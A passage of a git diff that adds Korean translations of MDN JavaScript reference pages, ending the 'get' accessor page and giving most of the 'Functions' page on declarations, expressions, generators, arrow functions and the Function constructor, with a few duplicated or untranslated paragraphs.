+ <li>값이 당장은 필요하지 않지만 나중에 사용되어야 할 경우, 혹은 절대로 이용되지 않을 수도 있는 경우.</li>
+ <li>값이 여러 차례 이용되지만 절대 변경되지 않아 매번 다시 계산할 필요가 없는 경우, 혹은 다시 계산되어서는 안 되는 경우.</li>
+</ul>
+
+<p>똑똑한 getter는 값을 다시 계산하지 않기 때문에, 값의 변경이 예상되는 경우에는 똑똑한 getter를 이용해서는 안 됩니다.</p>
+
+<p>다음 예제에서, 객체는 원래 프로퍼티로 getter를 가집니다. 프로퍼티를 가져올 때, getter는 삭제되며 대신 명시적인 값이 저장됩니다. 최종적으로 값을 반환합니다.</p>
+
+<pre class="brush: js">get notifier() {
+ delete this.notifier;
+ return this.notifier = document.getElementById("bookmarked-notification-anchor");
+},</pre>
+
+<p>Firefox 코드의 경우,  <code><a href="/en-US/docs/Mozilla/JavaScript_code_modules/XPCOMUtils.jsm#defineLazyGetter()">defineLazyGetter()</a></code> 함수를 정의하고 있는 XPCOMUtils.jsm 모듈을 참조하세요.</p>
+
+<h3 id="get_Vs._defineProperty"><code>get</code> Vs. <code>defineProperty</code></h3>
+
+<p>While using the <code>get</code> 키워드와 {{jsxref("Object.defineProperty()")}}를 사용하면 비슷한 결과를 얻지만, {{jsxref("classes")}}에서 사용되는 두 가지 경우에는 미묘한 차이가 있습니다.</p>
+
+<p>get을 사용할 때 속성은 {{jsxref("Object.defineProperty()")}} 를 사용하는 동안 객체의 프로토 타입에 정의 될 것이고, 속성은 그것이 적용되는 인스턴스에 정의 될 것입니다.</p>
+
+<pre class="brush: js"><code>class Example {
+ get hello() {
+ return 'world';
+ }
+}
+
+const obj = new Example();
+console.log(obj.hello);
+// "world"
+console.log(Object.getOwnPropertyDescriptor(obj, 'hello'));
+// undefined
+console.log(Object.getOwnPropertyDescriptor(Object.getPrototypeOf(obj), 'hello'));
+// { configurable: true, enumerable: false, get: function get hello() { return 'world'; }, set: undefined }</code></pre>
+
+<p> </p>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>최초로 정의되었습니다.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>계산된 프로퍼티 이름이 추가되었습니다.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.functions.get")}}</p>
+
+<p> </p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setter</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Defining Getters and Setters</a> in JavaScript Guide</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/index.html b/files/ko/web/javascript/reference/functions/index.html
new file mode 100644
index 0000000000..2052b67a93
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/index.html
@@ -0,0 +1,596 @@
+---
+title: 함수
+slug: Web/JavaScript/Reference/Functions
+tags:
+ - 생성자
+ - 인자
+ - 파라미터
+ - 함수
+translation_of: Web/JavaScript/Reference/Functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>일반적으로, 함수는 함수 외부 (또는 재귀(recursion)의 경우엔 내부) 코드에 의해 <em>호출될</em> 수 있는 "하위프로그램"입니다. 프로그램 그 자체처럼, 함수는 함수 몸통(<em>function body</em>)이라고 하는 일련의 구문(statement)으로 구성됩니다. 값은 함수에 <em>전달될</em> 수 있고 함수는 값을 <em>반환</em>합니다.</p>
+
+<p>JavaScript에서, 함수는 다른 객체처럼 속성 및 메서드를 가질 수 있기에 일급(first-class) 객체입니다. 다른 객체와 함수를 구별하는 것은 함수는 호출될 수 있다는 것입니다. 간단히 말해, 함수는 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function">Function</a></code> 객체입니다.</p>
+
+<p>더 많은 예제와 설명은, <a href="/ko/docs/Web/JavaScript/Guide/함수" title="JavaScript guide about functions">JavaScript 함수 안내서</a>를 참조하세요.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>JavaScript에서 모든 함수는 <code>Function</code> 객체입니다. <code>Function</code> 객체의 속성(property) 및 메서드에 관한 정보는 {{jsxref("Function")}} 참조.</p>
+
+<p>기본값 이외의 값을 반환하려면, 함수는 반환할 값을 지정하는 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/return">return</a></code> 문이 있어야 합니다. return 문이 없는 함수는 기본값을 반환합니다. <code><a href="/ko/docs/Web/JavaScript/Reference/Operators/new">new</a></code> 키워드로 호출되는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">생성자</a>의 경우에, 기본값은 자신의 <code>this</code> 매개변수 값입니다. 다른 모든 함수의 경우, 기본 반환값은 {{jsxref("undefined")}}입니다.</p>
+
+<p>함수 호출의 매개변수는 함수의 <em>인수</em>입니다. 인수는 함수에 <em>값으로</em> 전달됩니다. 함수가 인수값을 바꾸면, 이 변화는 전역 또는 호출한 함수에 반영되지 않습니다. 그러나, 객체 참조(reference)는 값이지만 특별합니다: 함수가 참조된 객체의 속성을 바꾸면, 그 변화는 다음 예에서와 같이 함수 밖에서도 바뀌는 것을 볼 수 있습니다:</p>
+
+<pre class="brush: js">/* 함수 'myFunc' 선언 */
+function myFunc(theObject) {
+ theObject.brand = "Toyota";
+ }
+
+ /*
+ * 변수 'mycar' 선언;
+ * 새 객체를 만들고 초기화;
+ * 'mycar'에 객체 참조를 할당
+ */
+ var mycar = {
+ brand: "Honda",
+ model: "Accord",
+ year: 1998
+ };
+
+ /* Logs 'Honda' */
+ console.log(mycar.brand);
+
+ /* 객체 참조를 함수에 전달 */
+ myFunc(mycar);
+
+ /*
+ * 함수에 의해 바뀌었기에 객체의
+ * 'brand' 속성의 값으로 'Toyota' 출력.
+ */
+ console.log(mycar.brand);
+</pre>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/this"><code>this</code> 키워드</a>는 현재 실행 중인 함수를 참조하지 않습니다, 그래서 심지어 함수 몸통 내에서도 이름으로 <code>Function</code> 객체를 참조해야 합니다.</p>
+
+<h2 id="함수_정의하기">함수 정의하기</h2>
+
+<p>함수를 정의하는 여러 방법이 있습니다:</p>
+
+<h3 id="함수_선언_function_문">함수 선언 (<code>function</code> 문)</h3>
+
+<p>함수 선언을 위한 특별한 구문이 있습니다 (자세한 사항은 <a href="/ko/docs/Web/JavaScript/Reference/Statements/function" title="function statement">function 문</a> 참조):</p>
+
+<pre class="brush: js">function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+ <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수 이름.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수에 전달되는 인수의 이름. 함수는 255개까지 인수를 가질 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>함수의 몸통을 구성하는 문.</dd>
+</dl>
+
+<h3 id="함수_표현식_function_식">함수 표현식 (<code>function</code> 식)</h3>
+
+<p>함수 식(expression)은 함수 선언과 비슷하고 구문이 같습니다 (자세한 사항은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/function" title="function expression">function 식</a> 참조):</p>
+
+<p>함수 표현식(expression)은 함수 선언과 비슷하고 구문이 같습니다 (자세한 내용은 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a> 참조). 함수 표현식은 더 큰 표현식의 일부일 수 있습니다. "이름이 붙은(named)"함수 표현식 (예 : 호출 스택에서 표현식 이름 사용하는경우) 또는 "익명"함수 표현식을 정의 할 수 있습니다. 함수 표현식은 선언이 되지 않은 상태에서 사용할 수 없기 때문에 함수를 사용하기 전에 코드에 함수코드가 존제해야 사용 할 수 있습니다.</p>
+
+<pre class="brush: js">function [<em>name</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+ <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수 이름. 함수가 익명(anonymous) 함수로 알려진 경우, 생략될 수 있음.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수에 전달되는 인수의 이름. 함수는 255개까지 인수를 가질 수 있습니다.</dd>
+ <dt><code>statements</code></dt>
+ <dd>함수의 몸통을 구성하는 문.</dd>
+</dl>
+
+<p>다음은 익명 함수 표현식의 예입니다 (<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">이름</span></font> 이 사용되지 않음):</p>
+
+<pre class="brush: js"><code>var myFunction = function() {
+ statements
+}</code></pre>
+
+<p>It is also possible to provide a name inside the definition in order to create a <strong>named</strong> function expression:</p>
+
+<pre class="brush: js"><code>var myFunction = function namedFunction(){
+ statements
+}</code></pre>
+
+<p>One of the benefits of creating a named function expression is that in case we encountered an error, the stack trace will contain the name of the function, making it easier to find the origin of the error.</p>
+
+<p>As we can see, both examples do not start with the <code>function</code> keyword. Statements involving functions which do not start with <code>function</code> are function expressions.</p>
+
+<p>When functions are used only once, a common pattern is an <a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE">IIFE (Immediately Invokable Function Expression)</a>.</p>
+
+<pre class="brush: js"><code>(function() {
+ statements
+})();</code></pre>
+
+<p>IIFE are function expressions that are invoked as soon as the function is declared.</p>
+
+<h3 id="생성기_함수_선언_function*_문">생성기 함수 선언 (<code>function*</code> 문)</h3>
+
+<p>생성기 함수 선언을 위한 특별한 구문이 있습니다 (자세한 사항은 {{jsxref('Statements/function*', 'function* statement')}} 참조):</p>
+
+<pre class="brush: js">function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+ <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수 이름.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수에 전달되는 인수의 이름.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>함수의 몸통을 구성하는 문.</dd>
+</dl>
+
+<h3 id="생성기_함수_식_function*_식">생성기 함수 식 (<code>function*</code> 식)</h3>
+
+<p>생성기 함수 식은 생성기 함수 선언과 비슷하고 구문이 같습니다 (자세한 사항은 {{jsxref('Operators/function*', 'function* expression')}} 참조):</p>
+
+<pre class="brush: js">function* [<em>name</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+ <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수 이름. 함수가 익명 함수인 경우 생략될 수 있음.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수에 전달되는 인수의 이름.</dd>
+ <dt><code>statements</code></dt>
+ <dd>함수의 몸통을 구성하는 문.</dd>
+</dl>
+
+<h3 id="화살표_함수_표현식_>">화살표 함수 표현식 (=&gt;)</h3>
+
+<p>화살표 함수 식은 구문이 더 짧고 어휘상(lexically) <code>this</code> 값을 바인딩합니다 (자세한 사항은 <a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션" title="arrow functions">화살표 함수</a> 참조):</p>
+
+<pre class="brush: js">([param[, param]]) =&gt; {
+ statements
+}
+
+param =&gt; expression
+</pre>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>인수의 이름. 0개 인수는 <code>()</code>로 표시돼야 합니다. 인수가 1개뿐이면, 괄호는 필요치 않습니다. (<code>foo =&gt; 1</code>처럼)</dd>
+ <dt><code>statements or expression</code></dt>
+ <dd>선언문이 여러개인 경우 괄호로 묶여야 합니다. 단일 식(expression)은 괄호가 필요 없습니다. 그리고 식은 암시적으로(implicit) 함수의 반환값이 됩니다.</dd>
+</dl>
+
+<h3 id="Function_constructor"><code>Function</code> constructor</h3>
+
+<div class="note">
+<p><strong>참고</strong> : <code>Function</code> constructor를 사용하여 함수를 만드는 것은 권장되지 않습니다. 함수 본문을 일부 JS 엔진 최적화를 방해 할 수있는 문자열로 사용해야하고 다른 문제를 유발할 수 있기 때문입니다.</p>
+</div>
+
+<p>다른 모든 객체처럼, {{jsxref("Function")}} 객체는 <code>new</code> 연산자를 사용하여 생성될 수 있습니다:</p>
+
+<pre class="brush: js">new Function (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>)
+</pre>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>형식 매개변수로 함수에 의해 사용되는 0개 이상의 이름. 각각은 알맞은 JavaScript 식별자(identifier)여야 합니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>functionBody</code></dt>
+ <dd>함수 몸통을 구성하는 JavaScript 문을 포함하는 문자열.</dd>
+</dl>
+
+<p>함수로 <code>Function</code> 생성자 호출(<code>new</code> 연산자 사용 없이)하는 것은 생성자로 호출하는 것과 같습니다.</p>
+
+<h3 id="GeneratorFunction_생성자"><code>GeneratorFunction</code> 생성자</h3>
+
+<div class="note">
+<p><strong>주의:</strong> <code>GeneratorFunction</code>은 전역 객체가 아니지만 생성기 함수 인스턴스로부터 얻을 수 있습니다(자세한 사항은 {{jsxref("GeneratorFunction")}} 참조).</p>
+</div>
+
+<div class="note">
+<p><strong>주의:</strong> <code>GeneratorFunction</code> 생성자를 사용하여 함수를 만드는 것은 권장되지 않습니다. 함수 본문을 일부 JS 엔진 최적화를 방해 할 수있는 문자열로 사용해야하고 다른 문제를 유발할 수 있기 때문입니다.</p>
+</div>
+
+<p>다른 모든 객체처럼, {{jsxref("GeneratorFunction")}} 객체는 <code>new</code> 연산자를 사용하여 생성될 수 있습니다:</p>
+
+<pre class="brush: js">new GeneratorFunction (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>)
+</pre>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>형식 인수명으로 함수에 의해 사용되는 0개 이상의 이름. 각각은 유효한 JavaScript 식별자 규칙을 따르는 문자열 또는 콤마로 구분된 그러한 문자열 목록이어야 합니다; 예를 들어 "<code>x</code>", "<code>theValue</code>" 또는 "<code>a,b</code>".</dd>
+</dl>
+
+<dl>
+ <dt><code>functionBody</code></dt>
+ <dd>함수 정의를 구성하는 JavaScript 문을 포함하는 문자열.</dd>
+</dl>
+
+<p>함수로서 <code>Function</code> 생성자 호출(<code>new</code> 연산자 사용 없이)은 생성자로서 호출하는 것과 같은 효과입니다.</p>
+
+<h2 id="Function_매개변수">Function 매개변수</h2>
+
+<h3 id="기본_매개변수">기본 매개변수</h3>
+
+<p>기본(default) 함수 매개변수는 전달된 값이 없거나 <code>undefined</code>인 경우 기본값으로 초기화되는 형식 매개변수를 허용합니다. 자세한 사항은, <a href="/ko/docs/Web/JavaScript/Reference/Functions/Default_parameters" title="default parameters">기본 매개변수</a> 참조.</p>
+
+<h3 id="나머지_매개변수">나머지 매개변수</h3>
+
+<p>나머지(rest) 매개변수 구문은 부정(indefinite)수인 인수를 배열로 나타내는 것을 허용합니다. 자세한 사항은, <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters" title="rest parameters">나머지 매개변수</a> 참조.</p>
+
+<h2 id="arguments_객체"><code>arguments</code> 객체</h2>
+
+<p><code>arguments</code> 객체를 사용하여 함수 내에서 함수의 인수를 참조할 수 있습니다. <a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a> 참조.</p>
+
+<ul>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code>: 현재 실행 중인 함수에 전달된 인수를 포함하는 배열 같은 객체.</li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code> {{Deprecated_inline}} : 현재 실행 중인 함수.</li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/caller">arguments.caller</a></code> {{Obsolete_inline}} : 현재 실행 중인 함수를 호출한 함수.</li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/length">arguments.length</a></code>: 함수에 전달된 인수의 수.</li>
+</ul>
+
+<h2 id="메서드_함수_정의하기">메서드 함수 정의하기</h2>
+
+<h3 id="getter_및_setter_함수">getter 및 setter 함수</h3>
+
+<p>모든 표준 내장 객체 또는 새로운 속성 추가를 지원하는 사용자 정의 객체에 getter(accessor 메서드) 및 setter(mutator 메서드)를 정의할 수 있습니다. getter 및 setter를 정의하는 구문은 객체 리터럴 구문을 사용합니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript/Reference/Functions/get">get</a></dt>
+ <dd>
+ <p>객체 속성을 그 속성이 검색되는 경우 호출되는 함수에 바인딩합니다.</p>
+ </dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Reference/Functions/set">set</a></dt>
+ <dd>객체 속성을 그 속성을 설정하려는 시도가 있는 경우 호출되는 함수에 바인딩합니다.</dd>
+</dl>
+
+<h3 id="메서드_정의_구문">메서드 정의 구문</h3>
+
+<p>ECMAScript 2015를 시작으로, getter 및 setter와 비슷한 단축 구문으로 자신의 메서드를 정의할 수 있습니다. 더 자세한 정보는 <a href="/ko/docs/Web/JavaScript/Reference/Functions/Method_definitions">메서드 정의</a> 참조.</p>
+
+<pre class="brush: js">var obj = {
+ foo() {},
+  bar() {}
+};</pre>
+
+<h2 id="생성자_vs._선언문_vs._표현식">생성자 vs. 선언문 vs. 표현식</h2>
+
+<p>다음을 비교해보세요:</p>
+
+<p><code>Function</code> <em>constructor로 정의된 함수를 </em>변수<code>multiply</code>에 할당.</p>
+
+<pre class="brush: js"><code>var multiply = new Function('x', 'y', 'return x * y');</code></pre>
+
+<p>이름이 <code>multiply</code>인 함수 선언:</p>
+
+<pre class="brush: js">function multiply(x, y) {
+ return x * y;
+}
+</pre>
+
+<p>변수 <code>multiply</code>에 할당된 익명(anonymous) 함수의 <em>function 식</em>:</p>
+
+<pre class="brush: js">var multiply = function(x, y) {
+ return x * y;
+};
+</pre>
+
+<p>변수 <code>multiply</code>에 할당된 이름이 <code>func_name</code>인 함수의 <em>function 식</em>:</p>
+
+<pre class="brush: js">var multiply = function func_name(x, y) {
+ return x * y;
+};
+</pre>
+
+<h3 id="차이">차이</h3>
+
+<p>모두 거의 같은 일을 하지만 약간 미묘한 차이가 있습니다:</p>
+
+<p>함수 이름과 함수가 할당 된 변수 사이에는 차이가 있습니다. 함수 이름을 변경할 수 없으며 함수가 할당 된 변수는 다시 할당 할 수 있습니다. 함수 이름은 함수 본문(body)내에서만 사용할 수 있습니다. 함수 본문(body) 외부에서 사용하려고 하면 오류가 발생합니다. (함수 이름이 <code>var</code> 문을 통해 이전에 선언 된 경우에는 정의되지 않습(<code>undefined</code>)니다.</p>
+
+<p>예를 들어:</p>
+
+<pre class="brush: js">var y = function x() {};
+alert(x); // 오류 발생
+</pre>
+
+<p>함수 이름은 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/toString"><code>Function</code>의 toString 메서드</a>를 통해 직렬화되는 경우에도 보입니다.</p>
+
+<p>반면에 함수가 할당 된 변수는 함수의 범위(scope)가 포함되도록 보장 된 범위로만 제한됩니다.</p>
+
+<p>예제 4에서 볼 수 있듯이 함수 이름은 함수가 할당 된 변수와 다를 수 있습니다. 그들은 서로에게 아무런 관련이 없습니다. 함수 선언은 함수 이름과 동일한 이름의 변수도 만듭니다. 따라서 함수 표현식으로 정의 된 함수와 달리 함수 선언으로 정의 된 함수는 정의 된 범위에서 함수 선언의 이름으로 액세스 할 수 있습니다.</p>
+
+<p>'<code>new Function</code>'으로 정의된 함수는 함수 이름이 없습니다. 그러나, <a href="/ko/docs/SpiderMonkey">SpiderMonkey</a> JavaScript 엔진에서는, 함수의 직렬화된 형태가 마치 그 이름이 "anonymous"인 것처럼 보입니다. 예를 들어, <code>alert(new Function())</code>은 다음을 출력합니다:</p>
+
+<pre class="brush: js">function anonymous() {
+}
+</pre>
+
+<p>함수가 실제로는 이름이 없기에, <code>anonymous</code>는 함수 내에서 액세스될 수 있는 변수가 아닙니다.</p>
+
+<p>다음 코드는 오류가 날 것입니다:</p>
+
+<pre class="brush: js">var foo = new Function("alert(anonymous);");
+foo();
+</pre>
+
+<p>function 식 또는 <code>Function</code> 생성자에 의해 정의된 함수와는 달리, function 선언으로 정의된 함수는 function 자체의 선언 전에 사용될 수 있습니다. 예를 들어:</p>
+
+<pre class="brush: js">foo(); // alerts FOO!
+function foo() {
+ alert('FOO!');
+}
+</pre>
+
+<p>함수 표현식(function expression)이나 함수 선언(function declaration)에 의해 정의 된 함수는 현재 범위를 상속합니다. 즉,이 함수는 클로저를 형성합니다. 반면에 <code>Function</code> 생성자가 정의한 함수는 전역 범위 (모든 함수가 상속) 이외의 다른 범위를 상속하지 않습니다.</p>
+
+<pre class="brush: js"><code>/*
+ * Declare and initialize a variable 'p' (global)
+ * and a function 'myFunc' (to change the scope) inside which
+ * declare a varible with same name 'p' (current) and
+ * define three functions using three different ways:-
+ * 1. function declaration
+ * 2. function expression
+ * 3. function constructor
+ * each of which will log 'p'
+ */
+var p = 5;
+function myFunc() {
+ var p = 9;
+
+ function decl() {
+ console.log(p);
+ }
+ var expr = function() {
+ console.log(p);
+ };
+ var cons = new Function('\tconsole.log(p);');
+
+ decl();
+ expr();
+ cons();
+}
+myFunc();
+
+/*
+ * Logs:-
+ * 9 - for 'decl' by function declaration (current scope)
+ * 9 - for 'expr' by function expression (current scope)
+ * 5 - for 'cons' by Function constructor (global scope)
+ */</code></pre>
+
+<p>function 식 및 function 선언에 의해 정의된 함수는 한 번만 구문 분석됩니다, 반면에 <code>Function</code> 생성자에 의해 정의된 함수는 아닙니다. 즉, <code>Function</code> 생성자에 전달된 함수 몸통 문자열은 생성자가 호출될 때마다 구문 분석되어야 합니다. function 식이 매번 closure를 만들더라도, 함수 몸통은 다시 구문 분석되지 않습니다, 그래서 function 식은 "<code>new Function(...)</code>"보다 여전히 더 빠릅니다. 따라서 <code>Function</code> 생성자는 보통 가능한 한 피해야 합니다.</p>
+
+<p>함수 식과 함수 선언으로 정의 된 함수는 한 번만 구문 분석되지만 <code>Function</code> 생성자로 정의 된 함수는 구문 분석되지 않습니다. 즉, <code>Function</code> 생성자에 전달 된 함수 본문 문자열은 생성자가 호출 될 때마다 파싱되어야합니다. 함수식이 매번 클로저(closure)를 만들지만 함수 본문은 다시 파싱되지 않으므로 함수 식은 여전히 ​​"<code>new Function (...)</code>"보다 빠릅니다. 따라서 <code>Function</code> 생성자는 가능한 피하는 것이 좋습니다.</p>
+
+<p>그러나 <code>Function constructor</code>의 문자열을 구문 분석하여 생성된 함수 내에 중첩된 function 식 및 function 선언은 반복해서 구문 분석되지 않음에 주의해야 합니다. 예를 들면:</p>
+
+<pre class="brush: js">var foo = (new Function("var bar = \'FOO!\';\nreturn(function() {\n\talert(bar);\n});"))();
+foo(); // 함수 몸통 문자열의 "function() {\n\talert(bar);\n}" 부분은 다시 구문 분석되지 않습니다.</pre>
+
+<p>function 선언은 매우 쉽게 (그리고 종종 무심코) function 식으로 바뀝니다. function 선언은 다음 어느 쪽이든 function 식이 되는 것을 중단합니다:</p>
+
+<ul>
+ <li>식의 일부가 된 경우</li>
+ <li>더 이상 함수 또는 스크립트 자체의 "source 요소"가 아닌 경우. "source 요소"는 스크립트 또는 함수 몸통에서 중첩되지 않은 문입니다:</li>
+</ul>
+
+<pre class="brush: js">var x = 0; // source 요소
+if (x == 0) { // source 요소
+ x = 10; // source 요소가 아님
+ function boo() {} // source 요소가 아님
+}
+function foo() { // source 요소
+ var y = 20; // source 요소
+ function bar() {} // source 요소
+ while (y == 10) { // source 요소
+ function blah() {} // source 요소가 아님
+ y++; // source 요소가 아님
+ }
+}
+</pre>
+
+<h3 id="예">예</h3>
+
+<pre class="brush: js">// function 선언
+function foo() {}
+
+// function 식
+(function bar() {})
+
+// function 식
+x = function hello() {}
+
+
+if (x) {
+ // function 식
+ function world() {}
+}
+
+
+// function 선언
+function a() {
+ // function 선언
+ function b() {}
+ if (0) {
+ // function 식
+ function c() {}
+ }
+}
+</pre>
+
+<h2 id="블록_레벨_함수">블록 레벨 함수</h2>
+
+<p>ES2015 (ES6)를 시작으로 <a href="/ko/docs/Web/JavaScript/Reference/Strict_mode" title="strict mode">엄격 모드</a>에서, 블록 내부 함수는 이제 그 블록 범위가 됩니다. ES6 이전에, 블록 레벨 함수는 엄격 모드에서 금지됐습니다.</p>
+
+<pre class="brush: js">'use strict';
+
+function f() {
+ return 1;
+}
+
+{
+ function f() {
+ return 2;
+ }
+}
+
+f() === 1; // true
+
+// 비엄격 모드에서는 f() === 2
+</pre>
+
+<h3 id="비엄격_코드에서_블록_레벨_함수">비엄격 코드에서 블록 레벨 함수</h3>
+
+<p>한 마디로: 안됩니다.</p>
+
+<p>비엄격 코드에서, 블록 내부 function 선언은 이상하게 동작합니다. 예를 들면:</p>
+
+<pre class="brush: js">if (shouldDefineZero) {
+ function zero() { // 위험: 호환성 위험
+ console.log("This is zero.");
+ }
+}
+</pre>
+
+<p>ES2015는 <code>shouldDefineZero</code>가 false인 경우, 그러면 <code>zero</code>는 결코 정의되어서는 안된다고 합니다, 그 블록이 실행된 적이 없기에. 그러나, 이는 표준의 새로운 일부입니다. 역사상, 이는 지정되지 않은 채 방치되었고 일부 브라우저는 블록이 실행됐든 아니든 <code>zero</code>를 정의할 겁니다.</p>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Strict_mode" title="strict mode">엄격 모드</a>에서, ES2015를 지원하는 모든 브라우저는 이를 같은 식으로 다룹니다: <code>zero</code>는 <code>shouldDefineZero</code>가 true이고 <code>if</code> 블록 범위인 경우에만 정의됩니다.</p>
+
+<p>조건부 함수를 정의하는 더 안전한 방법은 function 식을 변수에 할당하는 것입니다:</p>
+
+<pre class="brush: js">var zero;
+if (0) {
+ zero = function() {
+ console.log("This is zero.");
+ };
+}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="형식_갖춘_숫자_반환하기">형식 갖춘 숫자 반환하기</h3>
+
+<p>다음 함수는 선행 0으로 채워진 형식 갖춘(formatted) 숫자 표현을 포함하는 문자열을 반환합니다.</p>
+
+<pre class="brush: js">// 이 함수는 선행 0으로 채워진 문자열을 반환
+function padZeros(num, totalLen) {
+ var numStr = num.toString(); // 문자열로 반환값을 초기화
+ var numZeros = totalLen - numStr.length; // 0의 개수 계산
+ for (var i = 1; i &lt;= numZeros; i++) {
+ numStr = "0" + numStr;
+ }
+ return numStr;
+}
+</pre>
+
+<p>다음 문은 padZeros 함수를 호출합니다.</p>
+
+<pre class="brush: js">var result;
+result = padZeros(42,4); // 반환값 "0042"
+result = padZeros(42,2); // 반환값 "42"
+result = padZeros(5,4); // 반환값 "0005"
+</pre>
+
+<h3 id="함수_존재_여부_결정하기">함수 존재 여부 결정하기</h3>
+
+<p><code>typeof</code> 연산자를 사용하여 함수가 존재하는지 여부를 결정할 수 있습니다. 다음 예에서, <code>window</code> 객체가 함수인 <code>noFunc</code>이라고 하는 속성이 있는지 결정하기 위해 테스트가 수행됩니다. 있으면, 사용됩니다; 그렇지 않으면 무언가 다른 행동을 취합니다.</p>
+
+<pre class="brush: js"> if ('function' == typeof window.noFunc) {
+ // noFunc() 사용
+ } else {
+ // 뭔가 다른 것 수행
+ }
+</pre>
+
+<p><code>if</code> 테스트에는, <code>noFunc</code>에 대한 참조가 사용되고—실제 함수가 호출되지 않도록 함수 이름 뒤에 괄호 "()"가 없음을 주의하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.0에서 구현됨</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-13', 'Function Definition')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-function-definitions', 'Function definitions')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>신규: 화살표 함수, 생성기 함수, 기본 매개변수, 나머지 매개변수.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.functions")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
